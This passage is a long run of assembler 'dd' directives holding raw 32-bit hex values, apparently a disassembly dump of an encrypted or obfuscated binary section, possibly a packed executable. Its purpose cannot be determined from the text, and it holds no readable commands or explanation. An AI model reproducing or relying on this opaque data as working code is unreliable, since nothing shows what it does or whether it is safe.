1025DC55h, 79083F23h, 0C1F9C75Ah, 0B1807FCFh, 8C5A364h dd 6B45A79h, 0C0485AF0h, 0E0C4B1FCh, 685A78DEh, 0A69BE69Ah dd 8A7581B9h, 3EC111A7h, 3BC4A6F3h, 3D2A3FF6h, 5A792459h dd 32DB13E1h, 0C9986E5Eh, 3965FB36h, 409BAD8Fh, 0F039C1CFh dd 30684C39h, 22F05A79h, 12F78EAh, 2C230000h, 6F5340FBh dd 0F75491D3h, 0FE0CC329h, 7C8E201h, 0C66A84BCh, 0AC2D1360h dd 6F026069h, 8FA2DA40h, 77913BA2h, 0B66D3B51h, 97D0B4A1h dd 8A585A79h, 38C7A952h, 0C73442F9h, 0E1382A62h, 97FBDFCCh dd 917E5A79h, 5A7997ADh, 0E7B56735h, 0D55CA3AFh, 0D859A688h dd 31C7B78Bh, 0BE54DD22h, 9B38E892h, 45C940h, 2C740000h dd 0EEDB92E4h, 5491D3DAh, 6C714E2h, 5491D522h, 554694F0h dd 0A190713Dh, 0A0897254h, 0BC758A3Ah, 0BA71D76Fh, 91D4B9CDh dd 4DAEBC54h, 0BFF78FDCh, 3B4DE3B1h, 8Dh, 0B69A879Ch, 3E5491D4h dd 2C273870h, 0EDDA91FBh, 5176DB96h, 19FB4816h, 9EF0FDE6h dd 85EB4784h, 0A098ECD1h, 3298F2BAh, 0CA37459Ch, 0DC232F67h dd 0DE470855h, 555A78D8h, 0FD0251A7h, 32479E34h, 78D96145h dd 671BE95Ah, 0AAE08C2Ch, 0CA70A818h, 6A782F99h, 0B54D9A97h dd 7D7D6A7Dh, 7D576748h, 7F8062AFh, 0F9E6FBB2h, 60684D15h dd 0EE97CF9Dh, 0BCEDFB49h, 7D6A218Bh, 5D55D27Dh, 9495657Dh dd 8D715E47h, 156656D6h, 0E57BE147h, 91FB2C90h, 0B532CCDAh dd 3481E74Ah, 3582AF52h, 0ECFF379Dh, 7F59FFFFh, 13ECFA51h dd 0B50227D4h, 717FB71Dh, 8B7456A3h, 3FC010A6h, 0F9E4A5F2h dd 33222951h, 0A55AE9FFh, 2875BC42h, 44942A90h, 472976BBh dd 862B78B9h, 6C93A238h, 20DF2FC5h, 91F73AC7h, 10A044h dd 0BF030000h, 0D3D9BDAAh, 97635491h, 0DA12E092h, 1EC61B60h dd 33CCAEFBh, 32CFB1FEh, 2ED0B2FFh, 27D4B603h, 28D3B502h dd 2ED2B401h, 11D4B603h, 21D9BB08h, 516FBB08h, 0C181E189h dd 4, 4BF57h, 0F9290000h, 240C875Fh, 0E289525Ch, 4C281h dd 0EA830000h, 24148704h, 241C895Ch, 81E68956h, 4C6h, 4EE8300h dd 5C243487h, 68240489h, 0B52h, 0BF243C89h, 3AD16307h dd 0BFED70BBh, 5FFB2940h, 24048B54h, 4C481h, 74680000h dd 8900007Dh, 3481241Ch, 0E6673824h, 8408F07h, 38087081h dd 8B07E667h, 89522404h, 4C281E2h, 83000000h, 148704C2h dd 1C8B5C24h, 0E6895624h, 4C681h, 0C6830000h, 24348704h dd 0F0D1E95Ch, 0B8E8FFF8h, 9F975DA3h, 0DBB6F9F4h, 1EB87C14h dd 305EE8Fh, 0A8E0FFC5h, 7665E8A2h, 1D407647h, 0D332C7C6h dd 6190CA3h, 8951FFD4h, 0DD2B2D02h, 462823E9h, 8A7512F6h dd 834D82C1h, 0E80B4514h, 10h, 575AF808h, 0C3790A1Dh, 0D1869D78h dd 9C1ACC71h, 0B0605EF9h, 25DBE2Dh, 816172F7h, 59DCC6h dd 0D88B6600h, 164D68h, 6E900h, 0B5C50000h, 305B692Bh dd 0FFF88B5Ah, 96BF6636h, 8166588Ah, 815573DFh, 0CD4169C0h dd 0D9BF0F1Dh, 79ADC081h, 81F95084h, 1BF4D4F0h, 89CF8B09h dd 850F6006h, 3, 61A2E780h, 0F02EE83h, 8Ch, 664E4E00h dd 0EA83FA8Bh, 20850F01h, 52000000h, 68F0Fh, 840F0000h dd 0 dd 1AE959h, 3B500000h, 2A0F23Dh, 0B2E211C2h, 661B9D17h dd 90E9FA8Bh, 0F2FFFFFFh, 5AB1BCA5h, 77B804EBh, 53E96CBBh dd 7C000005h, 0CB1BB168h, 1464FA2Fh, 62B248D1h, 0ADFD939Eh dd 2C45DB4Eh, 0CE5BA0C3h, 1B16E838h, 65CC3585h, 0B1807FCFh dd 402D461Bh, 5A80635Ch, 6977FEE4h, 52639B96h, 0DF4AB1BFh dd 0B6C2FA92h, 0B99BE849h, 151E742h, 0FDE633FEh, 0E92110EFh dd 0C20F22DDh, 0C20F1AE0h, 370EDC10h, 0A4B269C8h, 0A99BD356h dd 0F389A859h, 86D35EA3h, 20D75AA4h, 0E46D312h, 0E23C065h dd 0D4280CF9h, 0E2B05491h, 91D36F53h, 0F129F754h, 7988DF2Dh dd 2DD222B8h, 143B4D04h, 1D14ECFEh, 0E78438D0h, 4ADE503h dd 92C76443h, 3DCB2D54h, 41F0111Fh, 3C245CF4h, 457C0892h dd 4E73h, 39C61E00h, 0CC3341F8h, 48801865h, 58A8B69Fh dd 0D8B6A1D9h, 0A15491D3h, 14BEA93Fh, 0F5457CFCh, 1, 0F534C6A0h dd 0F534C6A8h, 0F73AC6A8h, 36C4F8AAh, 0B84EDB1Fh, 49A9768h dd 758A98ADh, 48D76FBCh, 5491D364h, 6F2110EEh, 0BF5869A1h dd 98E534B1h, 98E544B6h, 56629A00h, 553784A5h, 0BFCD84A5h dd 0D45DA33Ch, 0D989EF87h, 24BC0928h, 7F6F43ECh, 0B721DA69h dd 91D3E6CAh, 624F6E54h, 5491D37Eh, 6CD23806h, 0B87986D6h dd 806D826Bh, 5491D39Ch, 121E5624h, 30F946D3h, 50FCC9DBh dd 7ABCA08Dh, 76445492h, 4568B4C2h, 92727458h, 0C82EFC54h dd 4B3ECC90h, 457C65B1h, 151CE3F1h, 0A86BDDh, 0FF140000h dd 927D2E12h, 0B0E8B654h, 0F435C69Fh, 0A820C5A7h, 91D3D7BBh dd 2B915F54h, 9BA92CDEh, 9C7ECB66h, 0E880CD64h, 70864A82h dd 790F1AE1h, 0A57D229h, 0AA340F21h, 599CA5C8h, 449675E6h dd 0E8208685h, 0CCBF24DCh, 5FF6C0CCh, 0A9B76ED4h, 0AB8DDA57h dd 0FA92DF3Ah, 0EAB35C94h, 263816E4h, 81CA053Ah, 0A38BC305h dd 457C08E9h, 63473449h, 0EB5492CFh, 5273E51Dh, 1E000000h dd 3DF435C6h, 0D3573B28h, 11DF5491h, 394730D9h, 27336BC6h dd 43D309DAh, 87CFB3A0h, 89575492h, 42B700D5h, 6C1A8FDCh dd 0F534C79Eh, 0ADBF0A5Fh, 4D069A76h, 4B578F00h, 5ECB30AFh dd 0BEAABF8h, 0D45492CBh, 47F16472h, 28457C0Bh, 1, 0B01FC6D3h dd 0C37AE051h, 0D3DDC1AEh, 97655491h, 2BD4B65Fh, 733E9FB8h dd 0BF57A48Dh, 0D4083C0Bh, 3BA1072Ah, 9AAC49EEh, 625DB5A9h dd 35B06078h, 12E8ACE4h, 0E177A243h, 0A488758Ah, 2C549262h dd 5780265Eh, 6E412EE5h, 0F651778Bh, 6F9DB28h, 0BA45952Bh dd 1DEF6929h, 0BB217F23h, 2809F604h, 2105F2DBh, 0A95A795Ch dd 943D75DBh, 795BF5D3h, 0A036E45Ah, 81796E91h, 0CC35BA8h dd 795C3B1Fh, 8FF5C35Ah, 5194A2F9h, 0ABE37BC8h, 1C83609Fh dd 6801F096h, 0A790DD43h, 91C96899h, 6AB77A85h, 0B1495796h dd 5B932B78h, 0DF24197h, 0DC5B6D24h, 4F62B05Dh, 0DE44E516h dd 0DE88B4A6h, 0BF409B44h, 11Bh, 91FB2C6Ah, 0F986EDDAh dd 0B8865176h, 806D826Bh, 5A78FF9Ch, 3FF20C24h, 0BCF45AF2h dd 4CE24FB0h, 0E12E03FCh, 0E43100FFh, 0E431F802h, 2A0EFBh dd 0E4B25A79h, 0E618C734h, 66FE4Bh, 7A903EB3h, 55A39335h dd 9A3001FEh, 9BD0C46Eh, 0EFF60440h, 0D45DD2Ah, 509Bh dd 0E42C4600h, 0B1C6DB92h, 48D742A3h, 5491D364h, 0FBE61EECh dd 5491D3E7h, 5C6A21EFh, 0A8408DA4h, 2206C770h, 0F05491D5h dd 3D554694h, 31704BBh, 0B5491D5h, 4250A73Dh, 3F2572BFh dd 0BAD62A26h, 0FA3298DFh, 7A2Ch, 7F7F8D00h, 95CD65B2h dd 4AB1BF84h, 0C2FA92DFh, 0CA81EB1Ch, 76DB86DDh, 0FFEC0151h dd 5A78DE1Bh, 0D525D5A3h, 400E1C54h, 0AE837B89h, 14EBCD76h dd 0C837871Dh, 0F25B1C69h, 695A78DDh, 0E9162DBBh, 9FC8B248h dd 5361762Dh, 644F8792h, 57664F29h, 172CE3B1h, 676E462Ah dd 0C800CE60h, 25C23D1Fh, 0A2EF55DCh, 7059AFFDh, 311ED547h dd 5D54DEF6h, 9C956B79h, 717FB74Fh, 2CB80DA3h, 0CCDA91FBh dd 0B0C3FB2Eh, 7F4488C3h, 0F5421051h, 5FBEC13h, 0E030C62Ch dd 0DCC5121Fh, 0E20412CAh, 91C95F8Bh, 0B2DB24A6h, 0CDDB5E43h dd 0B0500031h, 77854981h, 0FC35CBD9h, 0EA47B8C4h, 11EFFD54h dd 33BD320h, 0DC2908F7h, 0DE2B06FAh, 0DF2C05FCh, 0E22F02FDh dd 8D12E844h, 273ECC1Ah, 94A259D8h, 0E078C56Ch, 5D583C29h dd 12E0C3D6h, 6798E8DAh, 0F50513CAh, 0CC1910EAh, 0ED96CE34h dd 270AF604h, 3C0A42DAh, 16h, 0D83C8B9Dh, 30EC1D0h, 1158BACBh dd 19E7F803h, 0CD65B218h, 1EC68495h, 33CCAEFBh, 32CFB1FEh dd 2ED0B2FFh, 27D4B603h, 28D3B502h, 2ED2B401h, 11D4B603h dd 21D9BB08h, 686FBB08h, 3C5Dh, 68242C89h, 41A0h, 68243C89h dd 130h, 68241C89h, 0F3D392Dh, 89C7815Fh, 68F6B157h, 3078h dd 83242489h, 5B042404h, 15F568h, 243C8900h, 0FF08438Fh dd 815B2434h, 4C4h, 243C8B00h, 81E68956h, 4C6h, 4C68100h dd 87000000h, 0E95C2434h, 0FFF8EA8Fh, 0FEE96267h, 0A1F895C7h dd 9EB86C80h, 305EE95h, 0DEE0FFC5h, 0A80FC57Bh, 0C370D0BBh dd 0D905D5F2h, 1737867Bh, 0EA559433h, 851AAAF4h, 973DB832h dd 57557E3Fh, 500CFCC9h, 0B05B648Eh, 765D1F99h, 75322C3Fh dd 356DB6AEh, 893A4B4Dh, 2228A331h, 44092A16h, 0F61E511Bh dd 0A74A4473h, 8D3A11FCh, 0EE970E8Dh, 2DBD2B05h, 8905E721h dd 0E71AA98Dh, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 0C197EF77h, 0B523B5D9h dd 5E70BA9h, 6890Fh, 0BD8B0000h, 5E70191h, 2A4D85C7h, 68A805E7h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 30697EC3h, 0F183A7C7h, 3985C738h, 5E727h dd 29000000h, 0E72AEDB5h, 49B5FF05h, 0E905E724h, 0Bh, 6C7ECAA2h dd 0C17B0C43h, 89152A55h, 0E712CDB5h, 9595FF05h, 0BA05E717h dd 696D5074h, 95FF006Ah, 5E721C1h, 3CEBC08Bh, 0A342A2FEh dd 96A28AAFh, 5ECA8262h, 0D1D1E6E0h, 73A998AAh, 2952F609h dd 0D4087744h, 0CBAD56BCh, 6479B583h, 3BB4E20Bh, 76CF4441h dd 0E4E5523Ah, 0FA6AD361h, 65CD4CE4h, 0A41DE1E4h, 98128D8Dh dd 0DC8005EEh, 0A98D89A2h, 8905E71Ah, 0E70AE9BDh, 4D85C705h dd 3405E72Ah, 3100005Fh, 0E725D1B5h, 3985C705h, 5E727h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 0CCCEC357h, 0B25B43C9h, 0AE8DF36h dd 69000000h, 716DEF4Dh, 1431E1B0h, 65B52902h, 5A05E716h dd 2449B5FFh, 6A05E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 0B4CFAC3h, 630AAABAh, 9595FF1Fh dd 6A05E717h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 3382C351h, 1B747AC3h, 6E639A74h dd 95FF006Ah, 5E721C1h, 3CEBC08Bh, 0ABC65F88h, 0BBDD5CF6h dd 0E5E49939h, 0A5B3B06h, 0DA45FE77h, 3D0D86C1h, 691579E4h dd 2D738D9Dh, 63A5C3D4h, 0DBB0163h, 0ED158520h, 7EE2A520h dd 0DC104434h, 5291B0C1h, 0E0A1D80Ah, 994D8D8Dh, 6A05EEh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 0C27BF7C3h, 858B1D90h, 5E71909h, 1AA98D89h, 6A05E7h dd 3E850h dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 65C4ADC3h, 576EE275h, 11E9h, 78CC2F00h, 9E4CFF5Ch, 7A6422E9h dd 76AD636Fh, 0C75E0448h, 0E72A4D85h, 602C05h, 0C7E68A00h dd 0E7273985h, 5, 0FF63B400h, 0E72411B5h, 51006A05h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 2DA2EB8Bh, 43F7DE2Dh, 0E1858BA9h, 0E905E701h, 0Eh, 0FB5152CEh dd 0DB57E85Ah, 6142A8C7h, 95FF0901h, 5E71795h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 9EC35141h, 9DC2D6EAh dd 91B58918h, 6A05E70Ch, 0C195FF00h, 8B05E721h, 0F62EEBC0h dd 37F4ED61h, 6F3260D3h, 81CE76EBh, 831CE48Ah, 81DBC9D4h dd 903FE0Dh, 0D2A678E6h, 378EDC67h, 3B6628BDh, 0F6BA74FBh dd 44BE2D0Dh, 0CE802h, 4A3B0000h, 4ACBEE4Fh, 0F5DB5D7Fh dd 0B5295AC9h, 5E72549h, 0A2E5B85Ah, 0C281069Bh, 6ADAh dd 15818D89h, 0F62B05E7h, 2F459D09h, 34FF05E7h, 0B8D0F16h dd 0F000000h, 58Dh, 0D8816600h, 0F593F91h, 0C84h, 7E900h dd 0AFF20000h, 0E2BAC803h, 34E9810Dh, 0F2889D7h, 0C181C1B7h dd 53184114h, 1A599589h, 0E98105E7h, 6FAD7287h, 2EED9531h dd 0B85105E7h, 154C2289h, 0B832048Fh, 9524B4Ah, 80D78166h dd 62EE81FFh, 0E8480CF9h, 9, 785F1A21h, 0CBABC179h, 68C0FD1h dd 9000000h, 0E7117585h, 0C6815F05h, 480CF95Eh, 81AFE380h dd 0FF95E4FEh, 6F850FFFh, 0BFFFFFFFh, 75DFFBF3h, 0C08Bh dd 169h dup(0) dd 0E9600000h, 11h, 94B12EBBh, 37A7FB5Ch, 13F0622Ch, 9CC7FF9Dh dd 10E98147h, 612CC533h, 14E9h, 0AE01200h, 0C13FCDCEh dd 0DFFBF431h, 11187461h, 0FAF3CED8h, 6A9DF3h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 4EEEE8C3h, 8553517Ah, 0E96A05A6h, 0Fh, 85748CE4h, 0E867031h dd 0B6CB2ACBh, 60D1D015h, 7E9h, 7E636A00h, 6503BACBh, 0F561FA8Bh dd 56006A61h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 605DF9D3h, 0CE8h, 0C4A64200h, 203F66E4h dd 1B4057C7h, 8D0F70h, 58000000h, 75A7BB66h, 24440161h dd 50006A08h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 0DEDFF242h, 0CE8F560h, 97000000h, 248B9729h dd 0A2782235h, 52339F2Ch, 58615A5Eh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 0D1C35141h, 6660C39Dh, 0F906CABFh dd 7800F61h, 0F000000h, 18Eh, 6AFC00h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 49EBC8C3h dd 606050D7h, 36EA8166h, 0BE859h, 9E960000h, 0DD631F33h dd 73768628h, 66615BECh, 97ECDA81h, 0E8C08B61h, 10h, 7DB32EADh dd 32AC66D3h, 26CBBA43h, 0A3F827CDh, 81D6EE81h, 0E85E2DCEh dd 5, 0A75A28A1h, 0EE9FCh, 46F10000h, 8995AE96h, 0EE5DB842h dd 0CF11F9A9h, 5E95Bh, 0DF1C0000h, 8BDF5CD8h, 0F5FCF9F7h dd 0B002BA66h, 0DE9h, 5B3A6900h, 0E4E412EBh, 83B40A86h dd 0C281D66Ch, 1B8C5B8Ah, 0A1C0DBBEh, 7E87BE1Fh, 7E92438h dd 6C000000h, 0D1D577E7h, 9AB5C266h, 6800Fh, 0D2810000h dd 2A224A2Eh, 80C6B70Fh, 8166F9E3h, 66DB66DAh, 0BDB1D78Bh dd 8E9h, 5D6F5400h, 2AC9250Bh, 5830F91h, 60000000h, 61FC57B4h dd 13E953h, 0A3130000h, 8652D54Eh, 5D9B2DD8h, 48B13A9Fh dd 7DE47179h, 840F592Eh, 6, 35BA6650h, 800F594Bh, 0 dd 10E9F5h, 0ED8C0000h, 3E4A2831h, 6D2E3F74h, 0E152FE7Ah dd 0BB66F343h, 870FADF5h, 14h, 0FE9h, 0E9D7E800h, 59C27A19h dd 8A624E46h, 0A174D887h, 66C38B66h, 0F8C0BDB8h, 0F8FB060h dd 689h, 8D0F00h, 61000000h, 56FB8B66h, 6E9h, 0CF841800h dd 58C421B6h, 0FCEBF0Fh, 8156F8B7h, 966919E2h, 8B15A0Dh dd 0E8CF8B66h, 0Ah, 0AD77CFABh, 0F4D40022h, 505FB31Ch dd 0BB2ABE66h, 7AD9805Fh, 8B66CB8Ah, 810FC1h, 8B000000h dd 8B6660C6h, 0D68166C1h, 8061F4B8h, 816668E4h, 0E91EC9DAh dd 14h, 0F1963367h, 41FBD675h, 0F0D5B404h, 628F7FECh, 0E90A2D41h dd 10E9h, 0FF337E00h, 0C89AB39Dh, 0FEC5A0ABh, 230F5D8Bh dd 2BE57F4h, 5A50EF3Dh, 18C0Fh, 0E8FC0000h, 0Dh, 94684AFAh dd 2E570565h, 2EEF7815h, 0E6BB66DDh, 10E85B44h, 18000000h dd 0CC87BEEEh, 0C41E5F50h, 6388631Ch, 0F93E69D4h, 14E85Fh dd 5E420000h, 0EFC26868h, 0CC19C368h, 2F6F3602h, 0ABE4F769h dd 48B2DE6Ch, 0F181665Bh, 8166A7D8h, 0F8B7B9DAh, 1309B9BAh dd 0BDBEF846h, 6609DF52h, 0BE0A7CBBh, 7CD2EB20h, 13E807B2h dd 57000000h, 0A4FF44F1h, 172B6BD8h, 1558B79Ch, 0ED3DCC42h dd 6658EEB8h, 0D8EBC681h, 6E9h, 77E13E00h, 66D2949Fh, 0F5B9CE81h dd 0FDEB70Fh, 382h, 0CA8B6600h, 8E9h, 88F68F00h, 0E2820ABCh dd 664FB585h, 0F202ABAh, 289h, 6051B000h, 5375CB9h, 12E826h dd 0BF430000h, 70D53475h, 0E6D4FABAh, 0CFA7831Dh, 3F3CCCB3h dd 666159F5h, 27E3CA81h, 28A0Fh, 0B6B40000h, 0FC89D381h dd 0D981077Dh, 5377D15h, 7E9F9h, 0EA20000h, 13164EFh, 8166FC79h dd 8174F7E7h, 0C57591F1h, 2EDB807Eh, 0B880Fh, 870F0000h dd 5, 6EE08166h, 0AD1EB8D2h, 0CE8056Ch, 0DF000000h, 0E270AD8Dh dd 3898B35Bh, 560ACC81h, 11E85A58h, 0D8000000h, 3BFC8E73h dd 0EC230749h, 17AAA640h, 0D1AC5BC5h, 6850Fh, 0F7810000h dd 54F42966h, 66C58A58h, 8166F38Bh, 0E96012EFh, 0Dh, 7BE7F0D6h dd 0B21FFC52h, 0D159C7B2h, 0E3816662h, 0B70F07F2h, 0F08166D8h dd 0DD8A9F3Fh, 0CE0DE281h, 8B664BEBh, 0B2F6BBDAh, 14E8719Dh dd 17000000h, 0B884F300h, 0BEDE423Fh, 8C12A3F7h, 898B6A4Ah dd 8AF6C4A8h, 81665FD8h, 0E89E50CAh, 9, 7FA0E556h, 6156E8D3h dd 0B0E7814Dh, 5959B793h, 81DEB70Fh, 0BB0ECAC1h, 12E9F963h dd 2D000000h, 9FCA6D7Eh, 0E413E981h, 0ED4EEBC7h, 6ABF724Bh dd 669DB7AEh, 0BF66C18Bh, 66F96C32h, 73B8DA8Bh, 8139F066h dd 217C91DFh, 3880F72h, 0F000000h, 0DE9CFB7h, 62000000h dd 2DF33794h, 152BF154h, 0FBB08BF3h, 12E9h, 0A04AF00h dd 849E815Ah, 0B3978185h, 4EA3414h, 8B3D6E67h, 0E95A57C8h dd 0Ah, 0CA456E7Fh, 0EC254467h, 66F83062h, 0F60CA8Bh, 68Fh dd 8A0F00h, 0F000000h, 87h, 0F7806100h, 0CF8157A6h, 1FDE070Dh dd 8B66525Bh, 0F18159D6h, 22BECE5Eh, 10E8h, 9F552400h dd 8E659A2h, 0F9B3EA7Dh, 873FE3ABh, 6850F77h, 81000000h dd 0CBB214F3h, 5E85837h, 45000000h, 7FC7B8FCh, 0F1B859F5h dd 0E9363058h, 10h, 685F8AAAh, 518B9253h, 0A1E5D192h, 1D52426Bh dd 6663D080h, 5033CF81h, 10E8h, 3BE93900h, 350C2524h, 215CBA9Ah dd 588A4D72h, 0F553586Eh, 11E958h, 7ADB0000h, 0A725E15Ch dd 0D3AD3B1h, 113C9EA9h, 8BF9FC94h, 8B66FCF3h, 6E9CAh dd 199C0000h, 0B0CA94F7h, 80D2BF0Fh, 880F19F1h, 2, 810FCB8Ah dd 0 dd 29DE8166h, 0CE824h, 2DC00000h, 775196D3h, 252DEA8Fh dd 665E187Bh, 0FFD08B8h, 288h, 0FFCB500h, 48Dh, 0D38A5700h dd 0F0F2815Fh, 0B936B4DBh, 5C8A6E71h, 0A850Fh, 52600000h dd 860F5Eh, 61000000h, 8B0FCB8Ah, 0Eh, 8E8h, 0C0F5E000h dd 5E060EDBh, 0E95658C4h, 11h, 493202B0h, 0D81DAD68h, 3BACE58Ah dd 2B9FD419h, 0FE95BCBh, 0FA000000h, 7E6DAAF4h, 0DE80A3ADh dd 77A06DECh, 0BE667814h, 0FF563CCh, 0C8Bh, 68D0F00h, 81000000h dd 81B1DBC7h, 10E934h, 0A3730000h, 0E71FD7EEh, 31BB9530h dd 0ED703EAEh, 0D781438Dh, 72C786DDh, 0D395BF66h, 0B866EF8Ah dd 12E8EEC9h, 0F2000000h, 0F7E1BEC0h, 617654ECh, 3906036Dh dd 90F0693Eh, 7E99Bh, 1A1B0000h, 81A04771h, 9E85864h, 7000000h dd 0E78877C4h, 3B97D943h, 5830F5Bh, 0BA000000h, 191C808Eh dd 0BB66FA8Bh, 81FC66E2h, 219D48E9h, 28E0F7Bh, 8B000000h dd 3FBF66D6h, 10E9D9h, 0C5240000h, 26EC294Ah, 430B93E8h dd 0C9FDEF9Dh, 0BB669252h, 0BB6603A5h, 14E90A70h, 2C000000h dd 99442B9Ah, 64E988B9h, 87C846BBh, 0A3A92866h, 8124101Ch dd 0E57EEDC9h, 13E97Eh, 42050000h, 22429BDCh, 3336BE0Fh dd 0E0C819B7h, 91C8E0A0h, 8C0FF5DAh, 2, 810FC68Bh, 6, 6F84D681h dd 6CB176F9h, 1BA2FB9h, 9E972h, 36150000h, 0DCE4A58h, 0E8E5FA75h dd 0Bh, 2B610CB1h, 4550B265h, 0B9C7B8FCh, 7199514h, 58A0F5Eh dd 0BF000000h, 350E360Ah, 8E9h, 91E3A500h, 531623h, 6E9DFh dd 0A5670000h, 2FC6EBDFh, 17D6CA81h, 0E480673Dh, 0BF0F50F8h dd 8B665ACBh, 0AE9C2h, 0B78C0000h, 0F0958F48h, 3502C52Ch dd 0BE665851h, 0B2B88CF7h, 0B21F8161h, 0CE81669Ch, 0DAB12C92h dd 0D7BAFE8Bh, 0F84AEA17h, 13E9h, 50D32700h, 0D97E01DCh dd 8C27D1C4h, 0A11E3249h, 663CC5EEh, 90F28166h, 0FE9F5h dd 6F270000h, 0EAD87DD6h, 9ADE86C0h, 7D295D95h, 12E881h dd 767F0000h, 1FBA2F6Ah, 3AF38E60h, 7C9827ADh, 0F3D08752h dd 0DE9h, 267F0D00h, 35F915C9h, 1384DC65h, 8A5B14D1h, 0C7B866FEh dd 0D38166F6h, 6E83B25h, 9E000000h, 0F1986244h, 0E8BB66A7h dd 0C68B59C0h, 0C50A0EBBh, 0EE914h, 89730000h, 9FB02FC0h dd 0C2166017h, 0D7C7A05Dh, 12E9h, 34338D00h, 73BB1FFBh dd 6A20EC03h, 0DB4D9DA9h, 813A0D05h, 0EC790FEAh, 8AEF8122h dd 6628C881h, 0E350C381h, 56CCBF66h, 3870Fh, 8B660000h dd 0D78166DFh, 0E9503E77h, 10h, 0A92E0315h, 0EF15CF39h dd 1E81DA85h, 9B6D89F6h, 0AE95Ah, 87A20000h, 2CB269E0h dd 8CA2180Fh, 8166C18Bh, 0BBFD3FDEh, 5DB1B6C0h, 6486D781h dd 8B667F03h, 0DE8B66D6h, 43B96660h, 50DD8042h, 0E6816661h dd 890FA082h, 18h, 6E8h, 11A2E700h, 0E9BC3EC2h, 7, 3AA24645h dd 5B645E26h, 0F2C9C681h, 8E0F630Bh, 12h, 9E8h, 5D31E800h dd 54AEE76Dh, 0C280EFB8h, 9E85951h, 0E6000000h, 0EB80364Dh dd 544725C1h, 5A5EFC57h, 0FDABF0Fh, 148Dh, 0FE900h, 0B2D60000h dd 0AA9DF4E3h, 0DEEB37FCh, 94B6B8E5h, 62BB663Bh, 48C0F30h dd 66000000h, 0E90326B8h, 11h, 7D21E180h, 0C40D2C9h, 0B604DB46h dd 3EC648F8h, 1880FD8h, 0F9000000h, 0AE9h, 2A4D9200h, 8A47AB3Dh dd 0E89356CAh, 12h, 0F4976CD2h, 55721971h, 1915695Dh, 0D322DE1Eh dd 5AF99A3Dh, 0CE81F18Bh, 3E9BFFD2h, 8E8h, 0FB8B0C00h dd 0C246E524h, 0DF8B66ADh, 0DA81FC58h, 19837A7Ah, 7E9h dd 209A1B00h, 55B151C8h, 0BE8h, 0FFAEE000h, 0F279FBEEh dd 5D886DA4h, 5BDABF0Fh, 0B873AFBBh, 66EB8A25h, 8B66F88Bh dd 0E894B0FEh, 10h, 0ADB47C7Ah, 0EDC5D9B1h, 0B7D6D9D0h dd 4BBF9962h, 9E8h, 0BB18F00h, 29C55D59h, 5FFCCFF5h, 5E85259h dd 0F8000000h, 42447E72h, 0CCC38166h, 60585A32h, 7D95BB66h dd 1840Fh, 61F50000h, 0F8FB8B66h, 0CE9h, 34241C00h, 67658EFAh dd 86AE89E9h, 0FF98B2Ch, 54BBF0B7h, 6668C7C0h, 0F5F5D88Bh dd 0C84D6FBAh, 870FF517h, 19h, 14E9h, 0F4AE4700h, 762F567Eh dd 0C954A55Ah, 6A67D05Bh, 0E9401566h, 9E850ECh, 57000000h dd 4F1812F7h, 422B98CCh, 0F15BF0B8h, 535A584Dh, 0EE9h dd 0A2110200h, 45C5C18Bh, 0DF9FD5Fh, 59BAB666h, 662FE180h dd 6612C5B9h, 0B866D88Bh, 0DE907FCh, 0A3000000h, 20908F9Dh dd 0F0B5082Eh, 26D6160Ch, 6E9h, 4592BD00h, 0FFE9726h, 98Bh dd 38D0F00h, 80000000h, 0F78A8CF2h, 0BB8EC4BFh, 40E48034h dd 0BE9h, 0A46D0800h, 0DEE5EC96h, 3D8926BFh, 0AE8h, 51BFFF00h dd 0E6E17FFEh, 5BA4A2C0h, 0B8FFB70Fh, 2054EA37h, 60DEB70Fh dd 61C9BF0Fh, 0FF63BF66h, 0D081F08Bh, 0F3C994h, 13C08166h dd 816660FFh, 0BB2DC0DEh, 490C24CEh, 2A11B861h, 0E6816477h dd 20336CE2h, 6677D280h, 539CC981h, 0F7C68166h, 66F08B07h dd 0F049CF81h, 8166DF8Bh, 805042F1h, 0DAB682C0h, 0BC57B966h dd 0F3816660h, 0BA617BB0h, 27DC7F35h, 66EEF580h, 7325D081h dd 840Fh, 5B560000h, 27880Fh, 0AE80000h, 0C4000000h, 47C6D3DDh dd 3F0F29BFh, 12E913h, 85910000h, 0FE7F950Ch, 53C9BC9Dh dd 0DD24337Dh, 38137D73h, 80F28B58h, 820F78E7h, 18h, 13E9h dd 0EA355C00h, 1D1A6F3Bh, 0E9A3E4AFh, 0A4B813FDh, 0D73A3D33h dd 0A8C18166h, 870F81h, 66000000h, 8185F381h, 0DE8BB1B3h dd 80F8CE8Ah, 0CF81A8F4h, 60F09A25h, 12E9h, 0C1F28400h dd 0FF02776Eh, 0ABD99F92h, 0E935D583h, 0F5A2C8Fh, 588h dd 0F78FBA00h, 8B660469h, 0CA8B52CEh, 95BE665Eh, 0CA8B66DEh dd 8BD98BF5h, 0EBC980DAh, 0FDE18166h, 0F78166CDh, 0D5B656CCh dd 5B53F8F9h, 8B66C28Bh, 0FE9D1h, 5AA00000h, 9D4E5BAFh dd 87FA5F8Ch, 41550EC8h, 0D2BF0FDEh, 58D0Fh, 81660000h dd 8BF731DEh, 58D780F9h, 0EE9h, 41C7EA00h, 0D20EEF58h dd 0D527205Fh, 0F406FC1h, 6660D0B7h, 6661D38Bh, 8B0FCF8Bh dd 3, 815BEF80h, 5937A7E6h, 0E956FC13h, 6, 189F4B78h, 605F0B52h dd 0C8FCE1B9h, 0FA8B665Ch, 0FF08B61h, 1681h, 11E900h, 97D30000h dd 0F9D8F285h, 2DD9C992h, 